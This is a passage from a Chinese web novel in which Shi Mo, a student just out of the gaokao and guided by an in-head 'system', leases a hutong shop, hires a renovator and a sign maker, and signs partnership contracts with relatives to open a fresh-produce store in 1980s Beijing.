胡同不宽,两边都是灰砖院墙,墙头上长着一蓬一蓬的狗尾草,被太阳晒得微微发黄。不知道哪家院子里传来收音机的声音,正在播单田芳的评书,沙哑的嗓音被风吹得断断续续的。 胡同尽头果然有一个石墩子,青石雕的,被磨得油光水滑,上面坐着一只橘猫,眯着眼晒太阳。石墩子后面的院门半开着,门漆剥落了大半,露出底下层层叠叠的旧漆色,像地质断层一样记录着这扇门被刷过多少次。 时墨敲了敲门。 “谁啊?”里面传来一个中气很足的老人声音。 “陈奶奶,我是来看铺子的。” 脚步声从院子里传出来,不快不慢,门被从里面拉开,一个老太太站在门里。 她大约六十多岁,头发花白但梳得一丝不乱,用一个黑色的细发箍拢到耳后。穿着一件浅蓝色的确良短袖,领口的扣子系得规规矩矩,袖口挽了一道,露出瘦而干净的手腕。 她站在那里,腰板挺得很直,目光从时墨的脸上扫到脚上,又从脚上扫回脸上的审视着。 “你是来看铺子的?”陈奶奶的语气平平的,听不出欢迎也听出不欢迎,“一个人来的?” “是。我叫时墨。”时墨把书包带往上提了提,目光没有躲闪,声音不卑不亢道,“我想租您上堂子胡同17号的铺面,开一个生鲜菜铺。” “生鲜菜铺?”陈奶奶的眉毛微微动了一下,“你?” “我和我亲戚合伙开。” 陈奶奶看了她几秒钟,然后侧身让开门口。 “进来说吧。” 院子不大,但收拾得干干净净。 青砖地面扫得一尘不染,墙根下摆着一排花盆,种着月季和指甲草,花开得正盛,红的粉的挤成一团。 院子正中间有一棵石榴树,枝头上挂着青皮的小石榴,还没熟。树下放着一把藤椅,藤椅上搭着一条洗得发白的毛巾,旁边的小桌上搁着一杯茶和一本翻开的书。 时墨扫了一眼那本书的封面——《现代汉语词典》,1983年版,书脊已经裂了,被透明胶带仔仔细细地粘过。 “坐。”陈奶奶指了指藤椅旁边的一个小马扎。 时墨在马扎上坐下来,从书包里拿出租房合同。 陈奶奶在藤椅上坐下,端起茶杯抿了一口,目光落在时墨手里的那摞纸上。 “你还带了合同?” “带了。”时墨把合同递过去,“这是我拟的租赁合同,您先看看。租金、租期、付款方式、违约责任,都写在里面了。您有什么要求,我们可以商量。” 陈奶奶接过合同,从口袋里掏出一副老花镜戴上。她没有急着看条款,而是先看了一眼合同的整体排版,然后才低下头,从头开始一个字一个字地看。 院子里安静下来。 石榴树上的知了叫了两声又停了,那只橘猫不知道什么时候从门口溜了进来,跳到陈奶奶膝盖上,蜷成一团,喉咙里发出咕噜咕噜的声音。 陈奶奶看了很久。 她看得比时墨预想的要仔细得多,遇到长句子会停下来,嘴唇微微翕动,在默念,看完一页,她会把那一页翻过去压在下面。 “这合同是你自己写的?”她忽然抬起头,老花镜滑到鼻尖上,她从镜片上方看着时墨。 “是我写的。” “字写得不错。”陈奶奶说,又把头低下去继续看,“条款也写得不错。比我们报社当年那些合同写得好。” 她翻到最后一页,看到了签名栏里“李秀兰”三个字。 “李秀兰是谁?” “是我妈。” “不是你本人签?” “我用我妈的名字签。”时墨说,“我还在上学,不方便自己出面。” 陈奶奶摘下老花镜,把合同放在膝盖上,认真地看着时墨。她的眼睛不大,眼珠是那种被岁月洗淡了的褐色,但目光很清,不像这个年纪的人常有的那种浑浊。 “你还在上学?”她问,“上什么学?” “刚高考完。” “考得怎么样?” “应该能上首都大学。” 陈奶奶的眼皮跳了一下。 她把老花镜折起来,在手里握着,镜腿一下一下地敲着合同纸。 “首都大学。”她把这四个字念了一遍,语气不像是在重复,倒像是在确认,“考首都大学的学生,暑假出来租铺子开菜铺?” “嗯。” “你爸妈知道吗?” “知道,合同上签的就是她的名字。” 陈奶奶低下头,看着膝盖上的合同,沉默了一会儿。 橘猫在她腿上翻了个身,把肚皮露出来,她不紧不慢地给它挠了挠。 “你是那个写《古宅迷踪》的时墨?”她忽然问。 时墨愣了一下。 “我孙子上初中,前阵子买了一本书,封面上写着‘时墨著’。”陈奶奶的语气还是平平的,但嘴角多了一点不易察觉的弧度,“他跟我说,写这本书的人是个小姑娘,才十八岁,比他也大不了几岁。我翻了翻,写得挺好。不像十八岁的人写的。” “是我写的。”时墨说。 陈奶奶点了点头,像是确认了一件早就猜到的事。她把合同重新打开,翻到租金那一页,看了一眼上面的数字。 “这个租金,你报得比别人低。” “我报的是市场合理价。”时墨解释道,“之前那些人不靠谱,您没租给他们,不是因为租金的问题。您要的是一个靠谱的租客,不是一个出价最高的租客。” 陈奶奶抬起眼睛看着她:“你倒是比他们明白。” 她从藤椅扶手上拿起一支老式的英雄钢笔,笔帽上的漆磨掉了大半,露出里面的黄铜底色。她把合同摊在小桌上,翻到签字页,在“出租方”那一栏签下了自己的名字。 “陈漱云。” 她的字写得很有力,横平竖直,落落大方。签完名字,她又从口袋里掏出一枚印章,在印泥盒里按了一下,端端正正地盖在签名旁边。印章上的字是篆体的,朱红色,像一枚小小的烙铁印在纸面上。 她把合同推给时墨,又从腰间解下一串钥匙,从上面取下一把黄铜钥匙,放在合同上面。 钥匙落在纸面上,发出一声清脆的轻响。 “铺子交给你了。”她说,“别让我觉得看走了眼,不然到期不会再续租。” 时墨接过钥匙和合同。钥匙在掌心里凉凉的,带着铜器特有的微沉重量。 “谢谢陈奶奶,你放心把房子交给我吧。” “不用谢。”陈漱云端起茶杯又抿了一口,“你把铺子经营好,就是谢我了。那条胡同里,已经好多年没有一家像样的铺子了。” 时墨站起来,对着陈漱云微微鞠了一躬,然后背上书包往外走。走到门口的时候,陈漱云的声音从身后传来。 “时墨。” 她回过头。 陈漱云坐在藤椅上,橘猫趴在她腿上打呼噜,石榴树的影子落在她身上,把她的脸分成明暗两半。 “再有新书,送我一本。” “好。” 从上堂子胡同出来,时墨没有耽搁,直接坐公交去了南城。 梅先生故居的项目结束后,王师傅手底下的那批工匠就散了。 古建修复这行当就是这样,一个项目做完,下一个项目不知道在哪儿,手艺人们各回各家,等着下一次有人来请。 王师傅自己倒是不缺活,他在圈子里名声大,总有零零散散的修缮活找上门,但他带的那几个徒弟就没那么好运了,有的去工地搬砖,有的回家种地,手艺搁在那儿久了容易生锈。 时墨是在南城一条老巷子里找到王师傅的。 巷子尽头是一个小院,院门敞着,里面传出锯木头的声音,一下一下的,很有节奏。 时墨走进去,看见王师傅正蹲在院子里,拿一把小锯在修一个木窗扇。他穿着一件白背心,露出两条被太阳晒成古铜色的胳膊,肩膀上的皮肤皱皱的,像风干的树皮。 院子里堆着各种木料和旧窗扇,空气里飘着刨花的味道,混着老木头被太阳晒过之后散发出的那种陈香。 “王师傅!”时墨站在门口叫了一声。 王师傅抬起头,眯着眼看了她一眼,然后把手里的锯子放下,站起来,在裤子上蹭了蹭手上的木屑。 “哟,时丫头!”他的声音很大,带着老工匠特有的那种粗犷热络,“你怎么跑这儿来了?高考考完了?” “考完了。”时墨走进去,在王师傅递过来的小板凳上坐下。板凳腿不太稳,坐上去微微晃了一下,她用脚垫了垫,稳住了。 “考得咋样?”王师傅从屋里拿出一个搪瓷缸子,给她倒了杯水。水是凉的,带着一股铁锈味,是水管子里直接接的。 “还行。” “还行就是行。”王师傅在她对面蹲下来,从兜里掏出一包大前门,抽出一根叼在嘴上,划了根火柴点上。烟雾从他嘴角漫出来,被院子里的风一吹就散了,“你呀,我早就看出来了,是个有出息的。老孙也说过,说你比他那些研究生加一起都强。” 提到孙教授,两个人的声音都顿了一下。 王师傅吸了一口烟,吐出来,看着烟雾在阳光下慢慢散开。 “老孙要是能看到你考完大学……”他话说到一半没说完,把烟灰弹在地上,换了个话题,“今天来找我,有事?” “有事。”时墨从书包里拿出企划书和一份新的合同,“我要开一个生鲜商超,铺子已经租好了,在花市大街那边,四十二平米,带一个后院。需要装修。” 王师傅接过企划书翻了翻,他不认识多少字,但他看得懂图。 时墨在企划书里画了铺面的平面图和装修效果图——货架怎么摆、动线怎么走、门头怎么做、灯光怎么打,每一处都画得清清楚楚。 这些图是系统根据后世的商超设计经验优化过的,简洁、实用、动线流畅,和王师傅平时装修的那些传统店铺完全不是一个路数。 他看了一会儿,把烟从嘴里拿下来,指着图上的一个地方。 “这个货架,你是要固定在墙上,还是做成活动的?” “活动的。”时墨说,“方便以后调整布局。而且——” “而且万一要搬地方,能拆了带走。”王师傅替她把话说完了,咧嘴笑了一下,“你这丫头,想得比大人还远。” 他继续往下看图,越看越慢,越看越仔细,看到门头设计那一页的时候,他把企划书拿近了一些,眯着眼看了半天。 “这个招牌的样式,倒是新鲜。”他说,“不是普通的木匾,是铁皮灯箱?” “对。晚上能亮灯,隔着半条街都能看见。” 王师傅点了点头,把企划书合上,还给时墨。他的手指粗大,指甲缝里还嵌着木屑,接过合同的时候在纸面上留下了一个浅浅的灰色指纹。 “这活儿不难。”他说,语气很实在,“比修老房子简单多了。就是货架、柜台、门头、地面、墙面的活,没什么技术含量。你要是不嫌弃,我带两个徒弟去干,快的话十来天就能完。” “价钱按市场走。”时墨把合同翻开,指着报价那一栏,“我打听过了,这种规模的店铺装修,工钱加材料,市场价在这个数。我按这个数给您。材料费实报实销,工钱按天算也行,按包工算也行,您选。” 王师傅看了一眼报价,眉毛往上挑了一下。 “你这价,报得比市场高了一成。” “是市场价。”时墨说,“我打听的是装修队的价,但您不是装修队。您是修过梅先生故居的人。您的手艺,和装修队不是一个价。” 王师傅把烟掐灭,烟头扔在地上用脚尖碾了碾。他低着头沉默了几秒,然后抬起头来,眼眶有点红,不知道是被烟熏的还是怎么的。 “时丫头。”他说,声音比刚才轻了几分,“其实你不来找我,我也正想找你。梅先生故居的纪念馆,下周六正式揭幕。市里的领导、文物局的人、还有那些老前辈,都来。你是核心成员,老孙不在了,这事得你自己上心了,到时候别忘了去。” 时墨的手顿了一下。 “下周六?” “对。上午十点。你早点来,别迟到。”王师傅看着她,目光里带着一种长辈特有的叮嘱,“老孙不在了,这些事就没人替你张罗了,你得自己记着,自己上心。你师父宋老年纪也大了,精力不足,以后你啊,什么事都得靠自己,自己立住了。” “我会去的。”时墨点了点头,把时间记在心里,“您的话我记下了。” 她把合同和一支笔递给王师傅。 王师傅接过来,没有急着签,而是从头到尾把合同看了一遍——虽然他不认识多少字,但他看得很认真,遇到不认识的字就问时墨,弄明白了才往下看。 看完之后,他拿起笔,在合同上签了自己的名字。 “王德顺。” 三个字写得歪歪扭扭的,但每一笔都用了力,笔尖把纸都戳出了凹痕。 签完字,时墨从书包里拿出一个信封,里面是定金。她把信封放在王师傅手心里,王师傅掂量一下。 “这么多?” “按合同走,定金三成。”时墨站起来,“开工那天我过来。您看着安排人手就行,我信得过您。” 王师傅把信封装进兜里,把时墨送到巷子口,站在那儿看着她走远。 时墨走出巷子的时候,回头看了一眼。 王师傅还站在那儿,手插在兜里,兜里装着那个信封。 他看见时墨回头,举起另一只手挥了挥,手心里还有没拍干净的木屑,在阳光里飘散开来。 从王师傅那儿出来,时墨没有停。 她按照系统给出的第三个地址,坐公交穿过了大半个京市,来到西四附近的一条街上。 这条街比花市大街热闹,两边全是各种店铺——卖布的、卖鞋的、卖五金的、卖糕点的,招牌一块挨着一块,颜色一个比一个鲜亮。街上的人流比花市大街还密,自行车铃声响得像一锅炒豆子。 她要找的是一家招牌店。 系统筛选出的这家店叫“光明美术社”,门面不大,但橱窗里摆着的样品很有水平——手绘的电影海报、商品的宣传画,还有几块铁皮招牌,上面的图案色彩饱满,线条流畅,在一堆传统木匾招牌中间显得格外扎眼。 时墨推门进去,店里堆满了各种材料,成卷的广告纸靠在墙边,工作台上铺着正在绘制的画稿,空气里弥漫着颜料和松节油混合的味道。 一个三十来岁的男人正趴在工作台上,拿一支细毛笔在画什么。他穿着一件沾满颜料的工作服,袖口被磨得发亮,头发有点长,用一根橡皮筋随便扎在脑后。 听见门响,他抬起头。 “您好,做什么?”他的声音不大,带着一点搞艺术的人特有的那种漫不经心。目光在时墨身上扫了一下,大概判断了一下她的年龄和身份,然后又低下头继续画他的东西。 时墨没在意他的态度,走过去站在工作台旁边,看了一眼他正在画的东西——是一张电影海报,里面主角的一个侧影,笔触利落,明暗对比处理得很老练。 “我要做一批东西。”她说。 “嗯。”男人没抬头,笔尖继续在纸上走,“做什么?” “一个店铺招牌,铁皮灯箱的,晚上能亮。尺寸大概……”时墨报了一个数字,“设计图我带了。还有门头上的横幅,广告纸的。还有……” 男人抬起头,这次他看时墨的时间长了一点。 “还有什么?” “彩色广告传单。”时墨说,“A4纸大小,双面彩色印刷,图文并茂。先印两千张,如果效果好,后续还要加印。” 男人把笔搁下了。他靠在椅背上,双手交叉搭在肚子前面,终于开始正眼打量面前这个穿着白短袖蓝裤子、背着书包的小姑娘。 “彩色传单?两千张?”他的语气里带着一种“你知道你在说什么吗”的味道,“小姑娘,彩色印刷不是街边复印店能干的活。要制版,要调色,要套印,工序多着呢。两千张的量不大不小,开机费都不一定划得来。你是给哪个单位做的?” “给自己做的。” “自己?”男人的眉毛挑了一下,“你是?” “我开了一家生鲜商超。”时墨从书包里拿出企划书,翻到宣传物料设计那一页,放在他面前,“这是招牌和传单的设计稿。你看看能不能做,能做什么价。” 男人低下头,把设计稿拿起来。 他的表情变了。 从漫不经心,到认真对待,整个过程不到十秒钟。 设计稿是时墨画的。 招牌的设计简洁明快,店名用了一种经过优化的美术字体,圆润饱满,辨识度极高。配色用了暖黄色和深绿色,在1985年的街头招牌里,这种配色几乎看不到。 传单的设计更是完全超越了时代——正面是开业促销信息和价格对比表,背面是一周特价菜谱和店铺位置地图,信息层级分明,主次清楚,促销信息用大号字体突出,一看就懂。 “这个设计……”男人把设计稿拿近了一些,手指在纸面上比划着,“是你自己画的?” “嗯。” “你学过美术?” “自学的。” 男人把设计稿放下,看着时墨,眼神完全变了。不再是那种看待一个“随便进来问问价的小姑娘”的眼神,而是一个手艺人看到另一个手艺人的认可。 “能做。”他说,语气变得干脆了,“招牌三天出样,确认了再正式做。横幅两天。两千张彩色传单,制版费比较贵,你要有心理准备。” “报个价。” 男人拿过一张纸,在上面列了几行数字,算了一会儿,报了一个数。时墨在心里跟系统给出的市场参考价比对了一下,偏高,但在合理范围内。 “贵了。”她说,“制版费我认,但印刷费这一项,你报的是短版活的价格。两千张在这个年代不算短版了,应该按长版价走。你再算算。” 男人愣了一下。 然后他重新低下头,拿起笔在纸上又算了一遍。这次算得更仔细,笔尖在纸上点来点去,嘴里念念有词。算完之后他把纸推过来,上面是一个新的数字。 比刚才低了将近两成。 “行。”时墨从书包里拿出合同,“按这个价。合同我带了,你看一下,没问题就签字。定金三成,交货付尾款。交期写清楚,逾期有违约金。” 男人接过合 同,从头看到尾。 他的表情越来越微妙——不是不满,而是一种“我今天是不是被上了一课”的复杂。 “你真是开菜铺的?”他抬起头,忍不住问了一句。 “是。” “你多大?” “十九。” 男人沉默了两秒,然后从工作台上拿起一支笔,在合同上签了字。“李光明”。 签完字,他把合同推回去,靠在椅背上,双手抱在胸前,用一种重新认识眼前人的目光看着时墨。 “你这套东西,跟谁学的?” “自己琢磨的。” 李光明摇了摇头,笑了一下,笑得有点自嘲:“我在这条街上开了八年店,什么客户都见过。大单位的、小个体的、国企的、私营的。你是第一个带着合同和设计稿一起来,还跟我算长版短版价差的人。”他把笔搁在桌上,“你那个传单,我再送你五百张。就当交个朋友。” “谢了。”时墨收好合同,站起来,“交期别忘了,我开业等着用。” “放心。”李光明把她送到门口,替她拉开门,“我李光明答应的事,没有掉地上的。” 时墨走出光明美术社的时候,太阳已经偏西了。 六月的傍晚,天边烧着一大片火烧云,把整条街都染成橘红色。街上的人流比中午更密了,下班的人潮涌上来,自行车铃声响成一片,卖晚报的报童扯着嗓子喊“京市晚报,两分一份”。 她在街边站了一会儿,看着来来往往的人。 两千张传单,开业前一周,雇几个人,在周边三公里内人流最密集的菜市场门口、公交站、小区出入口,把传单发到每一个拎着菜篮子的人手里。 传单上印着开业日期、促销价格、店铺地址——西红柿多少钱一斤,黄瓜多少钱一斤,比菜市场便宜多少,一目了然。 开业当天,招牌亮起来。门口摆上促销堆头,最便宜的那几样菜码得整整齐齐,标着醒目的价格牌,先把第一波客流引进来。 然后靠质量和服务把这些人留下来。 时墨把书包带往上提了提,书包里的合同和钥匙沉甸甸地坠在背上。她转过身,逆着下班的人流,朝公交站走去。 【宿主。】系统的声音在脑海里响起来,【今天的任务进度:晨跑——没跑。阅读纸质书籍——没读。陪伴家人用餐——早饭算半次。学做菜——没学。逛公园——没逛。今日任务完成率,百分之八。】 时墨的脚步顿了一下。 【明天开始刷。】她说。 【宿主,你昨天也是这么说的。】 【明天一定。】 系统发出了一声不知道是叹气还是电流杂音的声音。 第82章 她回到家, 把书包里那份签好的租赁合同、装修合同和光明美术社的订单,一样一样拿出来,对齐后放进书桌抽屉里, 上了锁。 【宿主宿主!】系统雀跃的声音飘出来, 【今天正事都办完啦!剩下的时间要不要刷点能量币?我刚筛了几个最省心的任务!】 【挑耗时短、奖励高的。】时墨揉了揉发酸的后颈, 靠在椅背上闭了闭眼。 【收到!】光屏瞬间弹出三个亮着的任务框, 【陪伴家人用餐不少于30分钟,全程闲聊互动,奖励40能量币。阅读纸质书籍1小时,奖励80能量币。晨跑今天来不及了,替代任务:饭后散步1小时, 奖励30能量币。这三个加起来150, 比跑任务轻松多了!】 时墨立马站起来,拉开房门走到客厅。 李秀兰正坐在小马扎上择菜, 膝盖上铺着一块洗得发白的蓝布, 一把带着露水的芹菜搁在上面。她指尖捏着芹菜秆的一头,指甲轻轻掐进纤维里, 往下一撕, 一根青白色的粗筋就完整地抽了出来, 搭在旁边的搪瓷盆沿上。 “妈, 我帮你。”时墨搬了个小板凳坐在她对面。 李秀兰抬头看了她一眼, 把手里那根择了一半的芹菜递过去,嘴上却念叨:“慢点儿择,把筋抽干净, 你爸每次吃到丝都嫌塞牙。” 时墨接过来,学着她的样子掐住秆子一头往下撕,没掌握好力道, 筋断成了两截。她皱了皱眉,又试了一次,还是断了。 “你这手是拿笔写字的,哪干得了这个。”李秀兰笑着把芹菜又拿了回去,“不用你帮忙,坐着陪我说说话就行。今天跑了一天,累坏了吧?” “不累。”时墨又伸手拿了一根小的,慢慢琢磨着抽筋,“高考完闲得慌,正好帮你干点活。再说择菜又不费力气。” 李秀兰没再拦她,看着她笨手笨脚抽芹菜筋的样子,嘴角的笑意藏都藏不住。 母女俩就着窗外橘红色的夕阳,一根一根地择着芹菜。墙角的收音机正放着《红灯记》,李铁梅清亮的唱腔从喇叭里飘出来,混着厨房里电饭煲焖饭的香气,把小小的屋子填得暖融融的。 晚饭是芹菜炒肉丝、西红柿炒鸡蛋、一碟辣椒油拌咸菜丝,还有一锅蔬菜粥。时爱国下班回来,洗了手坐在桌边,拿起筷子的时候看了时墨一眼。 “今天出去跑了一天?” “嗯,把铺子的事办得差不多了。” “都顺顺利利的?没遇到什么麻烦吧?” “挺顺的,房东人很好,装修队也都是熟人。” 时爱国点了点头,夹了一筷子芹菜炒肉丝塞进嘴里,嚼了两下,眼睛一亮:“嚯,今天这芹菜炒得真嫩,一点丝都没有!” “那是,你闺女择的,一根一根抽的筋,可仔细了。”李秀兰笑着给时墨碗里舀了一勺西红柿鸡蛋,“多吃点鸡蛋。” “嗐,我就说嘛,不愧是我闺女,干啥啥行!”时爱国也跟着往她碗里夹了一大块肉丝,“以后可得注意身体,别太累着,店有事就让你海霖哥去干,你等着收钱就行,亏了爸还有。” “好哦。”时墨笑道。 她爸妈虽然不喜欢下海经商,但她做什么却都支持她。 吃完饭,她刚要收拾碗筷,就被李秀兰按住了手:“放着放着,你去歇着,我来洗。” “妈,我来吧。”时墨刚端起碗,胳膊就被旁边伸过来的一只手拦住了。 时建军把碗筷一把抢了过去,推着她往沙发走:“快去快去,可下考完试了,好好歇着。这点活哪用得着你,哥来就行。” “那我真走了啊?”时墨故意逗他。 “快走快走,别在这儿碍事。” “真走啦?” “去去去,看电视去!” 【叮!陪伴家人用餐任务完成,奖励40能量币已到账~】 时墨笑着回了屋,从书架上抽了一本没看完的《红楼梦》,靠在床头翻了起来。 一小时后。 【叮!阅读任务完成,奖励80能量币已到账!宿主真棒!】 时墨把最后一段看完,才合上书,揉了揉发酸的眼睛。 她起身走到客厅,陪着爸妈看了会儿电视,又拉着李秀兰下楼在院子里散了一个小时的步,听她念叨院里张阿姨家的儿子考了多少分,李奶奶家的猫生了小猫。 【叮!饭后散步任务完成,奖励30能量币已到账!今天累计150能量币啦!】 第二天,时墨睡到七点才醒,喝了杯温开水,换上宽松的衣服,沿着家属院的街道慢慢跑了起来。 她许久不运动,刚跑了两公里,肺就像烧起来一样疼,腿也沉得像灌了铅。她咬着牙没停,把步幅调小,一步一步往前挪,硬是跑完了系统要求的三公里。 【叮!晨跑任务完成,奖励50能量币已到账!宿主太厉害了!】 时墨扶着路边的树喘了半天,才慢慢往家走。回到家的时候,李秀兰已经去上班了,餐桌上留着温热的豆浆和油条,还有一个煮鸡蛋。 时墨坐在饭桌旁,把油条掰成小段泡进豆浆里,等油条吸饱了豆浆变得软乎乎的,才用筷子夹起来吃。 吃完早饭,她背上布包去了新华书店。 店刚开门,店员正拿鸡毛掸子掸书架上的灰。时墨径直走到文学区,随手拿起一本畅销小说翻看起来。 【阅读任务进行中,已阅读15分钟,剩余45分钟。】 【阅读任务进行中,已阅读30分钟,剩余30分钟。】 【叮!阅读任务完成,奖励80能量币已到账!今天累计130能量币啦,宿主继续保持哦!】 时墨合上书,揉了揉眼睛。 【行了,不刷了。】她把书放回书架,【该办正事了,去见赵海霖他们。】 时墨到赵海霖家的时候,院门虚掩着。 她推开门进去,看见赵海霖正蹲在院子里劈柴,斧头一下一下落在木头上,发出“咚咚”的闷响。王桂英蹲在旁边的大铁盆前洗衣服,搓衣板被她压得“咯吱咯吱”响,盆里的肥皂泡飘得满地都是。 院子收拾得干干净净,墙角堆着的菜筐码得整整齐齐,坏掉的菜叶单独装在一个竹筐里,没有随便乱扔。锅碗瓢盆虽然都是旧的,搪瓷掉得斑斑驳驳,但每一个都洗得锃亮,倒扣在案板上控水。 “墨墨!”王桂英先看见她,紧把手里的衣服往盆里一扔,在围裙上使劲擦了擦手,迎了上来,“你怎么这么早就来了?吃饭没?锅里还有热乎的棒子面粥,我给你盛一碗?” “不用了嫂子,我在家吃过了。”时墨笑着说,“我今天是来跟你们签合同的,之前咱们说好的事。” 赵海霖听见声音,把斧头往地上一放,拍了拍手上的木屑,脸上的表情一下子变得郑重起来。“进屋说,屋里凉快。” 三个人进了屋。 屋里只有一张用木板搭起来的小方桌,还有几条小板凳。赵海霖搬了两张板凳给时墨和王桂英,自己则蹲在门槛上,两只手搭在膝盖上。 时墨从书包里拿出三份合同,放在小方桌上。 一份是出资协议,一份是合伙经营协议,一份是分成确认书。 每一份都装订得整整齐齐,重要的条款用红笔清清楚楚地画了线。 “海霖哥,大嫂,我先跟你们说一下铺子现在的进展。”时墨的声音不急不缓,“铺面我已经租好了,在花市大街上堂子胡同17号,四十二平米带后院,房东是位退休的老校对,人特别讲究,我跟她签了三年合同,租金年付,已经交完了。” “啥?你都租好了?”赵海霖惊得一下子站了起来,差点撞到头,“你前天才跟我说要开铺子,这才两天,你连房子都租好了?” “不止租了房子。”时墨翻开企划书,翻到装修那一页,把画好的效果图推到他们面前,“装修队我也找好了,是我之前合作过,给梅先生故居做过修缮的师傅,手艺靠谱,下周一就能进场,工期十天。门头做铁皮灯箱,晚上能亮。室内地面做水磨石,墙面重新刷白,货架做成活动的,以后调整布局方便。” 赵海霖和王桂英凑过去,脑袋挨着头看那张效果图。 图纸上的铺子亮堂堂的,整齐的货架一字排开,干净的水磨石地面能照见人影,门头上写着四个圆润醒目的大字:“时记生鲜”。 “这……这就是咱们要开的铺子?”王桂英的声音发颤,像在做梦一样,“这么好看?” “是。”时墨又翻到宣传物料那一页,“招牌和传单我也定做了,三天后出样,彩色双面的传单印了两千张。开业前一周,我们雇几个人,在周边三公里的菜市场门口、公交站、胡同口发传单,把人流都引过来。” 赵海霖惊愕住,半天没说话。 他的喉结上下滚动了好几次,嘴唇翕动着,像是有千言万语堵在喉咙里,最后却只低下了头,两只手使劲搓了搓脸,搓得脸颊通红。再抬起头时,他的眼睛红了。 “墨墨。”他的声音沉闷道,“你这两天……一个人干了这么多事?” “时间不等人。”时墨看着他,语气平静道,“铺子早一天开起来,咱们就早一天赚钱。” 王桂英赶紧转过头,用手背飞快地擦了擦眼角。 时墨把三份合同分别推到他们面前。“现在说合同的事,我一条一条跟你们讲,有不明白的地方,咱们当场说清楚。” 她拿起第一份出资协议,用手指着上面的字:“这一份是出资协议。铺子的所有启动资金——租金、押金、装修费、进货费、宣传费,全部由我出。你们不用出一分钱,只需要出人。海霖哥你负责进货和店面管理,大嫂你负责日常销售和理货。” 她看了眼两人表情,报了一个数字:“这是你们每个月的固定底薪,不管铺子赚不赚钱,每个月十五号准时发,一分都不会少。” 赵海霖的眼睛一下子瞪大了,这比他和王桂英现在起早贪黑卖菜一个月赚的还多五十块。 “这还只是底薪。”时墨拿起第二份合伙经营协议,“这是合伙经营协议。除了固定工资,你们还参与分红。铺子每个月的净利润,扣除成本和预留的流动资金后,你们俩一共拿三成。” “三成?!”赵海霖的手猛地一抖,手里的合同差点掉在地上。王桂英更是捂住了嘴,眼泪一下子就涌了出来。 “墨墨,这太多了!”赵海霖急得站了起来,连连摆手,“我们一分钱都没出,全是你的钱。你给我们开这么高的工资就已经是天大的恩情了,还分红,我们哪能拿这么多啊!” “你们拿得。”时墨看着他道,“海霖哥,你在菜市场卖了多少年菜了?” “半年了。” “你知道什么样的菜新鲜,什么样的菜耐放,知道怎么跟菜农打交道,知道怎么挑菜才能不被坑。这些经验,是花钱都买不来的。我出的是钱,你们出的是手艺和本事。钱谁都能有,但靠谱的人,不是谁都能遇到的。所以你们值这个价。”时墨客观陈述事实。 赵海霖的嘴唇哆嗦着,说不出话来。王桂英坐在旁边,眼泪掉得更凶了,用袖子不停地擦。 “但是——”时墨的声音微微沉了一下,拿起了第三份合同。 夫妻俩同时抬起头,脸上的表情变得严肃起来。 “有些话,我必须说在前面。”时墨翻到违约条款那一页,密密麻麻的字写满了整张纸,红笔标注的地方格外醒目,“我喜欢把丑话说在前面,摊在桌面上说清楚,这样以后才不会伤和气。” 她把违约条款逐条念了一遍,每念一条,就用大白话解释一遍这条是什么意思、什么情况下会触发、触发了会有什么后果。 “第一条,私自调整商品价格,未经我书面同意,视为违约。第二条,私自更换供货渠道,未经我书面同意,视为违约。第三条,账目造假、私吞货款、虚报损耗,一经发现,立即终止合同,扣除所有未发工资和分红,并追究法律责任。第四条,向第三方泄露任何经营信息,包括进货价、供货商名单、每日营业额,哪怕是大姑他们这些亲朋好友,也不能说,违者视为违约。” 她念到这一条的时候,停顿了一下,看着他们:“这一条的意思是,咱们生意上的事,就咱们三个人知道。不能跟任何人说,免得惹麻烦。” 赵海霖和王桂英同时用力点头。 “第五条,也是最重要的一条。”时墨的目光变得格外锐利,“以任何形式、任何理由,做出损害‘时记’品牌声誉和利益的行为,比如卖变质的菜、缺斤短两、跟顾客吵架,一经发现,立即终止合同,扣除全部分红,并追究法律责任。” 她把合同放下,看着他们:“我说的这些,你们有异议吗?” 赵海霖和王桂英对视了一眼。 “没有!”赵海霖先开口,声音不大,但异常坚定,“墨墨,你这些话,根本不用写在合同上。我赵海霖在菜市场卖了半年菜,没坑过一个人,没少过别人一两秤。你信得过我们,把这么大的事交给我们,我们要是还做出那种对不起你的事,那还是人吗?” 王桂英在旁边使劲点头,眼泪还挂在脸上,语气却无比认真:“墨墨,你大哥说得对。我们俩虽然没读过多少书,但做人的本分还是懂的。你对我们的恩情,我们这辈子都还不完,绝对不会做任何对不起你的事。” “我知道你们是好人。”时墨把笔递过去,“但合同不是防君子的,是防小人的。以后跟我们打交道的人多了,什么人都有。把条款写清楚,对大家都好,也能避免很多不必要的麻烦。” 赵海霖和王桂英接过笔,认认真真地在三份合同上签下了自己的名字。时墨拿出印泥盒,他们又分别在名字旁边按了鲜红的手印。 “好了。”时墨把其中一份合同留给他们,另外两份收进书包里,“合同签完了,咱们说接下来的正事。” 赵海霖愣了一下:“这不就是正事吗?” “这才只是开始。”时墨又从书包里拿出一份两页纸的文件,“我计划把‘时记’做成一个品牌,不是只开这一家店,以后要开很多家,做成连锁。等以后,北京的每条大街小巷,都能看到‘时记’的招牌。到那时候,我们靠的就不是一家店的利润,是整个品牌的信誉。” 赵海霖和王桂英听得有点懵,但他们没有打断,只是安安静静地听着。 “要做品牌,就得从第一天起就走正规流程。每一笔账都要记清楚,每一个供货商都要签合同,每一个环节都要有据可查。这样不管以后做多大,根基都是稳的。”时墨翻开文件,“所以明天,我跟你们一起回榆树庄,跟村里的菜农签正式的收购合同。” 赵海霖瞪大了眼:“回村签合同?” “对。” “跟菜农还要签合同?”赵海霖挠了挠头,“我收了半年菜,从来没签过合同。头天谈好价,第二天拉货当场结钱,村里人都信得过我。” “那是以前。”时墨摇了摇头,“以前你一天只收几百斤菜,量小,出不了大问题。现在我们开店,一天要收几千斤,以后量会更大。光靠口头约定,万一有人临时变卦,或者以次充好,我们怎么办?铺子刚开业,要是断了货,或者卖了不好的菜,招牌就砸了。” 她把合同里关于菜农收购的条款指给他们看:“我把蔬菜分成了三个等级。一等品,个头均匀、颜色鲜亮、没有虫眼、没有磕碰,按最高价收,进店零售。二等品,品相稍差但新鲜度没问题,按特价收,做促销活动。三等品,烂的、蔫的、有虫眼的,一概不收。标准都写得清清楚楚,到时候按标准收货,谁也没话说。” 赵海霖接过文件,一个字一个字地仔细看,遇到不懂的地方就问时墨,弄明白了才往下看。看完最后一页,他抬起头,眼神里满是恍然。 “墨墨,你这套东西,比供销社还严。” “供销社是公家的,坏了没人心疼。咱们这是自己的生意,招牌砸了,就什么都没了。”时墨说,“我手里还有其他收菜的渠道,但我还是先想着村里人。你跟他们打了半年交道,有这个情分在。所以第一批合同,优先给榆树庄的乡亲们。” 